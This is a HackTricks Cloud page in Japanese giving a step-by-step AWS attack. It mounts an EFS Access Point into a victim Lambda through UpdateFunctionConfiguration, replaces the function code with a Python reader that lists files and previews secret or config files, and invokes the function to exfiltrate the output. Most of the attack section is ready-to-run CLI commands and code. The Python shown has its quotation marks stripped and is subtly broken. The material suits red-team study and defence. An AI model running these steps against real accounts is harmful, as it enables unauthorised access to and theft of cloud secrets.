AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
既存の EFS Access Point を Lambda にアタッチするために lambda:UpdateFunctionConfiguration を悪用し、続いてマウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、当該関数が以前はアクセスできなかった共有のシークレットや設定を漏えいさせます。
要件
- 被害者アカウント/プリンシパルに必要な権限:
lambda:GetFunctionConfigurationlambda:ListFunctions(関数を見つけるため)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(マウントターゲットが存在することを確認するため)- 環境に関する前提:
- ターゲットの Lambda が VPC 有効で、サブネット/SG が TCP/2049 で EFS mount target SG に到達できること(例: ロールが AWSLambdaVPCAccessExecutionRole を持ち、VPC のルーティングがそれを許可している)。
- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットが存在すること。
攻撃
- 変数
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- EFS Access Point を Lambda にアタッチする
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- コードを上書きして、ファイルを列挙し、候補の secret/config file の先頭200バイトを覗く簡易リーダーにする
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- 呼び出してデータを取得する
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含めるべきです。
影響
列挙された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントして、元々その関数からアクセスできなかった EFS 上の共有設定や secrets を読み取り、exfiltrate できます。
クリーンアップ
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

